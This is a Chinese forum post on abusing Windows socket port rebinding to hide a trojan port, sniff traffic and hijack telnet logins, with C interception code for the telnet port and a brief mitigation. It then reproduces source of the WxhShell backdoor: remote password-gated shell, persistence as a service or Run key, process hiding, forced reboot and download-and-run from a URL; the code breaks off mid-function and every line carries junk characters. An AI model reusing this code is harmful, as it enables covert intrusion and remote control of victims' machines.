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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8LL);"$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b4Z#]o  
Qk6FK]buV  
  saddr.sin_family = AF_INET; ~I'h iV^-  
@`3)?J[w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w-1CA{"i7  
)wC>Hq[mhW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uZNR]+Yu@  
6 ^p 6v   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #f[yp=uI:  
yF*JzE 7,  
  这意味着什么?意味着可以进行如下的攻击: C][`Dk\D{  
^E9@L ??  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?#W>^Za=  
IJ!UKa*o%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7 >.^GD  
TGg*(6'z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <1"6`24  
C'{Z?M>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  } nQHP4'  
% R'eV<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %j=7e@   
pgI@[zp7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NY_Oo!)3  
!a0HF p$9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M+Dkn3bx  
Na#2sb[)  
  #include "zr%Q'Ky  
  #include PoC24#vS  
  #include :r|dXW  
  #include    ==$Ox6.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pPh$Jvo]  
  int main() BV<LIrAS  
  { m'%F,c)  
  WORD wVersionRequested; -2f0CAh~  
  DWORD ret; pnf3YuB  
  WSADATA wsaData; 9!o:)99U  
  BOOL val; m(9E{;   
  SOCKADDR_IN saddr; _wm"v19  
  SOCKADDR_IN scaddr; M5D,YC3<  
  int err; p_[k^@ $  
  SOCKET s; SMnbI .0  
  SOCKET sc; xe}"0'g  
  int caddsize; <;= X7l+  
  HANDLE mt; P4s:wuJ^  
  DWORD tid;   zVp|%&  
  wVersionRequested = MAKEWORD( 2, 2 ); *#~3\{  
  err = WSAStartup( wVersionRequested, &wsaData ); u U\UULH0  
  if ( err != 0 ) { GK:*|jV  
  printf("error!WSAStartup failed!\n"); bw+~5pqM  
  return -1; nc([e9_9v  
  } $lUZm\R|k  
  saddr.sin_family = AF_INET; O75ioO0  
   6=FF*"-6E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @aI`ru+a  
AM\`v'I*6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o:m:9dn  
  saddr.sin_port = htons(23); 0YW<>Y`6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %$S.4#G2  
  { c}$?k@=  
  printf("error!socket failed!\n"); s}UPe)Vu  
  return -1; J/=b1{d"n  
  } 5q@o,d  
  val = TRUE; v;irk<5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pl'n 0L<l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?2QssfB  
  { D L<r2h  
  printf("error!setsockopt failed!\n"); lfb]xu]O  
  return -1; k(!#^Mlz[  
  } ,C!MHn^$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &U!@l)<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NmVc2V]I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |Kh#\d  
0vf2wBK'T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;}WdxWw4  
  { xLX:>64'o>  
  ret=GetLastError(); (?;Fnq  
  printf("error!bind failed!\n"); ^DM^HSm  
  return -1; S"V|BU  
  } d 6j'[  
  listen(s,2); !Zlvz%X  
  while(1) ['e8Xz0  
  { ?3k;Yg/  
  caddsize = sizeof(scaddr); rt^<=|Z  
  //接受连接请求 -}4<P}.5T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ku&IVr%  
  if(sc!=INVALID_SOCKET) 1s"6  
  { ,FlF.pt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R6ca;  
  if(mt==NULL) h,LwC9  
  { UW8 8JA0  
  printf("Thread Creat Failed!\n"); R*VJe+5w  
  break; T&j_7Q\;vI  
  } cL?FloPc*  
  } YP5V~-O/  
  CloseHandle(mt); @Q 8E)k@  
  } z|x0s0q?  
  closesocket(s); =I-SQI8  
  WSACleanup(); h}nceH0s3d  
  return 0; hWP$U  
  }   ]hJ#%1  
  DWORD WINAPI ClientThread(LPVOID lpParam) * _)xlpy  
  { lb{<}1YR0o  
  SOCKET ss = (SOCKET)lpParam; M[g9D  
  SOCKET sc; cNZuwS~,  
  unsigned char buf[4096]; j,?>Q4G  
  SOCKADDR_IN saddr; _e E(P1  
  long num; xxpvVb)mF  
  DWORD val; )S]4 Kt_  
  DWORD ret; z^;*&J   
  //如果是隐藏端口应用的话,可以在此处加一些判断 A'^y+42jY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &!x!j ,nT  
  saddr.sin_family = AF_INET; tF}Vs}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c!{v/zOz  
  saddr.sin_port = htons(23); ROw9l!YF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vcm9:,Xlw  
  { X~(%Y#6  
  printf("error!socket failed!\n"); {9S=:  
  return -1; ~G+o;N,V  
  } vN=e1\  
  val = 100; p~vq1D6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5xtIez]x?  
  { Ztu _UlGC  
  ret = GetLastError(); 8+5 z-vd  
  return -1; uQIa"u7  
  } WqlX'tA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ky0Fm W  
  { J5b>mTvb  
  ret = GetLastError(); ;'CWAJK  
  return -1; Ou/JN+2A  
  } //9Ro"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $iu{u|VSu  
  { 4=^_ 4o2  
  printf("error!socket connect failed!\n"); zGjf7VV2a  
  closesocket(sc); 3\j{*f$J  
  closesocket(ss); k GR5!8$z  
  return -1; 'mx_]b^O  
  } ,Wtod|vx\U  
  while(1) n%yMf!M .:  
  { |E/U(VS3l~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <!gq9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WP{!|d&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xk8+  
  num = recv(ss,buf,4096,0); zX *+J"x  
  if(num>0) MLf,5f;e  
  send(sc,buf,num,0); !|}(tqt  
  else if(num==0) A14}  
  break; DlIy'@ .  
  num = recv(sc,buf,4096,0); Pp.qDkT  
  if(num>0) R-CFF  
  send(ss,buf,num,0); "N\>v#>C  
  else if(num==0) }A)>sQ  
  break; =iF}41a  
  } [+dOgyK  
  closesocket(ss); v,qK= ]ty  
  closesocket(sc); DY<Br;  
  return 0 ; Huzw>  
  } Q%:#xG5AmE  
Sg;c|u  
S,A\%:Va  
========================================================== :j2G0vHIl(  
zOO:`^ m  
下边附上一个代码,,WXhSHELL ]"?+R+  
2@ 4^ 81  
========================================================== lrQ +G@#  
PO9<g% qTf  
#include "stdafx.h" c@iP^;D  
^,F8 ha  
#include <stdio.h> AWSe!\b  
#include <string.h> E{_$C!.  
#include <windows.h> &aD ]_+b  
#include <winsock2.h> 3%c{eZxG=  
#include <winsvc.h> 9nIBs{`/Ac  
#include <urlmon.h> Q(Uj5aX  
BfQRw>dZ"{  
#pragma comment (lib, "Ws2_32.lib") ~&)  
#pragma comment (lib, "urlmon.lib") Rf7*Ut wVr  
2pa: 3O  
#define MAX_USER   100 // 最大客户端连接数 tS!|#h-J  
#define BUF_SOCK   200 // sock buffer B]jI^( P  
#define KEY_BUFF   255 // 输入 buffer &d/v/Y  
_c| aRRW  
#define REBOOT     0   // 重启 "7Qc:<ww  
#define SHUTDOWN   1   // 关机 0{u31#0j  
tu(k"'aJ  
#define DEF_PORT   5000 // 监听端口 4'L%Wz[6  
 J`F][ A  
#define REG_LEN     16   // 注册表键长度 :i'jQ<|wZN  
#define SVC_LEN     80   // NT服务名长度 ~]t/|xep  
ODE9@]a  
// 从dll定义API eLC}h %  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nU]4)t_o\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  =FZt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eq>E<X#<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r[ 2N;U  
GWP;; x%  
// wxhshell配置信息 X2ShxD|  
struct WSCFG { 7|=*z  
  int ws_port;         // 监听端口 d3 h^L  
  char ws_passstr[REG_LEN]; // 口令 i^hgs`hvU  
  int ws_autoins;       // 安装标记, 1=yes 0=no eO<:X|9T  
  char ws_regname[REG_LEN]; // 注册表键名 Ya$JX(aUe  
  char ws_svcname[REG_LEN]; // 服务名 ;Kb]v\C:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l+$ e|F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $'M:H_T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .^]=h#[e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >C|/%$kk:f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WHh=ht s\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +;nADl+Q  
n|,kL!++.  
}; cZn B 2T?  
=l&A9 >\  
// default Wxhshell configuration tF> ?]  
struct WSCFG wscfg={DEF_PORT, W/Rb7q4v  
    "xuhuanlingzhe", 0:<dj:%M  
    1, B5%N@g$`j  
    "Wxhshell", JpuF6mQ  
    "Wxhshell", xv! QO  
            "WxhShell Service", 3W*O%9t7  
    "Wrsky Windows CmdShell Service", # f~,8<K  
    "Please Input Your Password: ", C+/D!ZH%P  
  1, O{" A3f  
  "http://www.wrsky.com/wxhshell.exe", ((Bu Bu>  
  "Wxhshell.exe" nx<q]J uv\  
    };  gB\ a  
CfFNk "0{  
// 消息定义模块 |Tz/9t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u#tLY/KA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -#XNZy!//  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  imE5 $;  
char *msg_ws_ext="\n\rExit."; lH_S*FDa  
char *msg_ws_end="\n\rQuit."; ,$ICv+7]  
char *msg_ws_boot="\n\rReboot..."; <{\UE~  
char *msg_ws_poff="\n\rShutdown..."; UYu 54`'kg  
char *msg_ws_down="\n\rSave to "; cpV:y  
@=jcdn!\M  
char *msg_ws_err="\n\rErr!"; LGb.>O^  
char *msg_ws_ok="\n\rOK!"; ebF},Q(48  
k]*DuVCOX  
char ExeFile[MAX_PATH]; #]`ejr:2O  
int nUser = 0; .F=15A  
HANDLE handles[MAX_USER]; 8.vPh  
int OsIsNt; GvQ|+vC  
5S:&^ A<  
SERVICE_STATUS       serviceStatus; .MO"8}]8Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oh{!u!L`]  
z_XI,u}  
// 函数声明 !/0XoIf"  
int Install(void); .^s%Nh2jM  
int Uninstall(void); yQQ[_1$pq  
int DownloadFile(char *sURL, SOCKET wsh);  5" U8|  
int Boot(int flag); ^0t81,`  
void HideProc(void); E.Hw|y0_(|  
int GetOsVer(void); Q}!U4!{i|p  
int Wxhshell(SOCKET wsl); -Kt36:|  
void TalkWithClient(void *cs); _tE$a3`  
int CmdShell(SOCKET sock); mea]m)P  
int StartFromService(void); Gq5)>'D?  
int StartWxhshell(LPSTR lpCmdLine); >M7e'}0 ;  
u(KeS`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i,/|H]Mzr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KZV$rJ%G  
cm]D"GFLY  
// 数据结构和表定义 l7 D/ ]&  
SERVICE_TABLE_ENTRY DispatchTable[] = ?9q{b\=l  
{ luZqW`?Bt  
{wscfg.ws_svcname, NTServiceMain}, Yyl2J#$!  
{NULL, NULL} k|l"Rh<\~  
}; p\e*eV1dxx  
:xd&V%u`  
// 自我安装 F]Zg9c{#  
int Install(void) h+$1+Es  
{ g5TXs^g  
  char svExeFile[MAX_PATH]; RB'12^[  
  HKEY key; XQ:HH 8  
  strcpy(svExeFile,ExeFile); ZMJ\C|S:  
1'EMYQ  
// 如果是win9x系统,修改注册表设为自启动 n?@o:c5,r  
if(!OsIsNt) { (mHFyEG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7I4G:-V:^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hIa@JEIt  
  RegCloseKey(key); qv3L@"Ub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rS9*_-NH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M3 8,SH<  
  RegCloseKey(key); n15c1=gs  
  return 0; z x{\SU  
    } w&;\}IS  
  } lfR"22t  
} ?7:"D e  
else { hMw}[6m  
nZQZ!Vfj  
// 如果是NT以上系统,安装为系统服务 wP/rR D6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &K k+RHM  
if (schSCManager!=0) ,K7C2PV6  
{ yo V"?W>!  
  SC_HANDLE schService = CreateService 9!V<=0b/  
  ( uXeBOLC  
  schSCManager, HkxFDU-K  
  wscfg.ws_svcname, (FMGW (  
  wscfg.ws_svcdisp, /S9Mu )1Y  
  SERVICE_ALL_ACCESS, R4}G@&Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 13A11XTp  
  SERVICE_AUTO_START, 7w )#[^  
  SERVICE_ERROR_NORMAL, >FHTBh& Y  
  svExeFile, c[ff|-<g  
  NULL, ZvNXfC3Ia  
  NULL, oq]KOj[  
  NULL, gzzPPd,hd  
  NULL, }W<]fK  
  NULL sr#, S(p  
  ); A'|W0|R9  
  if (schService!=0) "DWw1{ 5/  
  { )." zBc#  
  CloseServiceHandle(schService); txr!3-Ne'!  
  CloseServiceHandle(schSCManager); #f/-iu=L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oG@P M+{  
  strcat(svExeFile,wscfg.ws_svcname); @R}L 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vWfC!k-)b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @c$mc  
  RegCloseKey(key); y9\s[}c_  
  return 0; )#3 ,y6  
    } ]2zx}D4f  
  } 3 ;.{ O%bX  
  CloseServiceHandle(schSCManager); %X GX(  
} {yVi/*;f^  
} RWTv,pLK  
pSq\3Hp]Q  
return 1; s'\"%~nF<  
} F$F5N1<  
~>}BDsM  
// 自我卸载 AH=6xtS-  
int Uninstall(void) *N'B(j/  
{ ?\\ ]u  
  HKEY key; h"%6tpV-  
tGmyTBgx  
if(!OsIsNt) { N.eSf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7SAu">lIl  
  RegDeleteValue(key,wscfg.ws_regname); oL }FD !}  
  RegCloseKey(key); >R!^aJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L?KEe>;r  
  RegDeleteValue(key,wscfg.ws_regname); E pM 4 +  
  RegCloseKey(key); , {z$M  
  return 0; >wcsJ {I  
  } k~=-o>}C  
} |BYD]vK  
} E?Q=#+}U  
else { X[;4.imE  
2b|vb}|t{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wZrdr4j  
if (schSCManager!=0) -]'Sy$,A  
{ Mm.!$uR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "{{xH*ij'  
  if (schService!=0)  mH?^3T  
  { FLy|+4D_%4  
  if(DeleteService(schService)!=0) { ,  PN?_N  
  CloseServiceHandle(schService); 103^\Av8  
  CloseServiceHandle(schSCManager); , st4K;-  
  return 0; $#Ji=JX  
  } u> >t"w  
  CloseServiceHandle(schService); 0HxF#SlKM  
  } :^iR&`2~  
  CloseServiceHandle(schSCManager); sOJ"~p  
} -QS_bQG%  
} 8a?V h^  
Uk*s`Y  
return 1; ol`]6"Sc  
} a+]=3o  
QX(:!b  
// 从指定url下载文件 <j,7Z>Rk\x  
int DownloadFile(char *sURL, SOCKET wsh) kFk+TXLDIt  
{ O~aS&g/sf  
  HRESULT hr; &a:>P>\  
char seps[]= "/"; u4+VG5.rhT  
char *token; cVulJ6  
char *file; ^O892-R  
char myURL[MAX_PATH]; 3U:0,-j"  
char myFILE[MAX_PATH]; P$4?-AZ  
 m?B@VDZ  
strcpy(myURL,sURL); ?+Qbr$]  
  token=strtok(myURL,seps); (x=NA )  
  while(token!=NULL) UhEJznfi  
  { &x=<>~Ag3  
    file=token; ,hOJe=u46  
  token=strtok(NULL,seps); 7?hC t  
  } SH}O?d\Q:  
Y}f%/vus  
GetCurrentDirectory(MAX_PATH,myFILE); U_I'Nz!^ t  
strcat(myFILE, "\\"); = )(;  
strcat(myFILE, file); L YH9P-5H  
  send(wsh,myFILE,strlen(myFILE),0); >J8?n,*  
send(wsh,"...",3,0); EKoCm)}d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {n1o)MZ]R  
  if(hr==S_OK) 'mmyzsQ \6  
return 0; iSFgFJG^  
else *4(.=k  
return 1; +;>>c`{  
H9jj**W ;$  
} cIgFSwQ 4  
jJ?3z ,h  
// 系统电源模块 LQ{4r1,u]  
int Boot(int flag) {ZfTUt)-P  
{ <w,aS;v6jp  
  HANDLE hToken; ,[ Ytl  
  TOKEN_PRIVILEGES tkp;  &$+yXN  
1y?TyUP  
  if(OsIsNt) { AMO{?:8Y;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TUk1h\.q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e@Mm4&f[p  
    tkp.PrivilegeCount = 1; kF\ QO [  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  %gf8'Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V25u'.'v  
if(flag==REBOOT) { 7z+NR&' M$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Rt<^oya*  
  return 0; ,e,fOL  
} +w}5-8mH&>  
else { % mI q,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w93yhV?  
  return 0; DsFrA]  
} =n#xnZ3  
  } m Y%PG  
  else { a!>AhOk.  
if(flag==REBOOT) { bo@1c0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (nV/-#*  
  return 0; '{Ywb@Bc  
} ex29rL3  
else { 0Z@u6{Z9R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )I5f`r=Ry  
  return 0; a{)"KAP  
} ]7br*t^zv  
} e j`lY  
E7jv  
return 1; i-/'F  
} (sPZ1Fr\o  
WRo#ZVt9$  
// win9x进程隐藏模块 fd)}I23Q'  
void HideProc(void) R a 9/L  
{  lual'~  
B6ys 5eQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); duwZe+  
  if ( hKernel != NULL ) $%!]tNGS  
  { NVOY,g=3X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q04N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7qnw.7p  
    FreeLibrary(hKernel); Xt$?Kx_,  
  } p_mP'  
`|]juc  
return; M\T6cN@m  
} ^LnCxA&QH  
 /h   
// 获取操作系统版本 #%E~I A%  
int GetOsVer(void) ~>qcV=F^d,  
{ X+hyUz(%R  
  OSVERSIONINFO winfo; Ejn19{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *VL-b8'A<  
  GetVersionEx(&winfo); T T29 LC@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cvAkP2  
  return 1; %7hYl'83  
  else aA\v  
  return 0; |~uCLf>  
} L-$GQGk{  
n!f @JHL  
// 客户端句柄模块 .Z9Bbab:  
int Wxhshell(SOCKET wsl) B?Pu0 _|s  
{ EpPKo  
  SOCKET wsh; M(5lSu  
  struct sockaddr_in client; =o9 %)  
  DWORD myID; g.z/%Lp K  
  5)mn  
  while(nUser<MAX_USER) )2:d8J\  
{  fkYa  
  int nSize=sizeof(client); y5oiH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MF>?! !  
  if(wsh==INVALID_SOCKET) return 1; X4 xnr^  
`@eQL[Z9x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [x9eamJ,H  
if(handles[nUser]==0) 539[,jH  
  closesocket(wsh); ga!t:O@w  
else \GBv@  
  nUser++; x.}iSE{  
  } Uv.{=H:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KZ&8aulP  
7eZ,; x  
  return 0; * y u|]T  
} hfVJg7-  
9D-PmSnv  
// 关闭 socket `43E-'g  
void CloseIt(SOCKET wsh) z!?xz  
{ ql^n=+U  
closesocket(wsh); "y#$| TMB  
nUser--; CSIW|R@   
ExitThread(0); 1[mX_ }K  
} v-g2k_ o|  
lP0'Zg(  
// 客户端请求句柄 +.gZILw  
void TalkWithClient(void *cs) ".~,(*  
{ F d *p3a  
k${25*M!3  
  SOCKET wsh=(SOCKET)cs; )g+~"&Gcx  
  char pwd[SVC_LEN]; 1@;Dn'  
  char cmd[KEY_BUFF]; qK,rT*5=  
char chr[1]; sF f@>  
int i,j; REc69Y.k  
THkg,*;:  
  while (nUser < MAX_USER) { }-!0d*I  
-I '#G D>  
if(wscfg.ws_passstr) { Jro)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8FU8E2zo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RQ!kVM@  
  //ZeroMemory(pwd,KEY_BUFF); =J<3B H^m  
      i=0; c7,p5[  
  while(i<SVC_LEN) { Qne@Vf kA  
bRfac/:}  
  // 设置超时 xrf z-"n4  
  fd_set FdRead; S sGb;  
  struct timeval TimeOut; _-$(=`8|<{  
  FD_ZERO(&FdRead); iTwb#Q=  
  FD_SET(wsh,&FdRead); _?CyKk\I  
  TimeOut.tv_sec=8; >-0Rq[)  
  TimeOut.tv_usec=0; ;y/&p d+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cY0NQKUk~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )pbsvR_  
nD{o8;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :[kfWai#(  
  pwd=chr[0]; GO2mccIB  
  if(chr[0]==0xd || chr[0]==0xa) { ot($aY,t  
  pwd=0; @j=:V!g2O  
  break; wQEsq<  
  } =+DfIO  
  i++; .J"QW~g^  
    } |6v $!wBi  
Qzt'ZK  
  // 如果是非法用户,关闭 socket ~}pc&jz>q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Dr9 w&;<  
} 8BE] A_X  
%|AebxB'o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jmPnUn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T\?$7$/V  
.o8Sy2PaV  
while(1) { ?I{L^j^#4  
9sG]Q[:.]  
  ZeroMemory(cmd,KEY_BUFF); xy))}c%  
>J*x` a3Q  
      // 自动支持客户端 telnet标准   ct`j7[  
  j=0; ' Dcj\=8  
  while(j<KEY_BUFF) { >mJH@,F:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q=(% ]BK  
  cmd[j]=chr[0]; & %A&&XT9  
  if(chr[0]==0xa || chr[0]==0xd) { !mHMFwvS  
  cmd[j]=0; GZH{"_$  
  break; B\S}*IE  
  } B>.x@(}V~  
  j++; & OYo  
    } x<5ARK6\=  
%|j`z?i|  
  // 下载文件 y^Uh<L0M  
  if(strstr(cmd,"http://")) { R!f<6l8#W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t xE=AOY5  
  if(DownloadFile(cmd,wsh)) t.y-b`v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :^7>kJ5?  
  else ttOk6-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G?kK:eV  
  } =' uePM")  
  else { >Q $ph=  
|;:g7eb  
    switch(cmd[0]) { o1`\*]A7J  
  I+=+ ,iXhB  
  // 帮助 {Y-~7@  
  case '?': { 0FSNIPx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "i#aII+T  
    break; % IHIXncv[  
  } "!+gA&  
  // 安装 {ETM >  
  case 'i': { FFa =/XB"  
    if(Install()) TZ *>MySiF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] # VHx  
    else @A4$k dJ2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <O5WY37"q  
    break; sSd/\Ap  
    } %UAF~2]g  
  // 卸载 m _cRK}>  
  case 'r': { 28k=@k^q  
    if(Uninstall()) F~q(@.b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U% q-#^A  
    else c {/J.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y];-D>jk  
    break; (+c1.h  
    } 8Qo'[+4;  
  // 显示 wxhshell 所在路径 Z\?2"4H  
  case 'p': { l+[:Cni  
    char svExeFile[MAX_PATH]; ~w a6S?  
    strcpy(svExeFile,"\n\r"); +$|fUn{  
      strcat(svExeFile,ExeFile); v\GVy[Qyv  
        send(wsh,svExeFile,strlen(svExeFile),0); M@#T`aS  
    break; m8ts!6C  
    } DmpT<SI+!  
  // 重启 ^|H={pd'c0  
  case 'b': { #l ZK_N|1x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N+'j on}U  
    if(Boot(REBOOT)) _ Ao$)Gu)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$XX4w M  
    else { sxsb)a  
    closesocket(wsh); zw[' hqW  
    ExitThread(0); f. "\~  
    } xNzGp5H  
    break; I]^>>>p$  
    } L8 L1_  
  // 关机 wqhktgG  
  case 'd': { ,Klv[_x7  
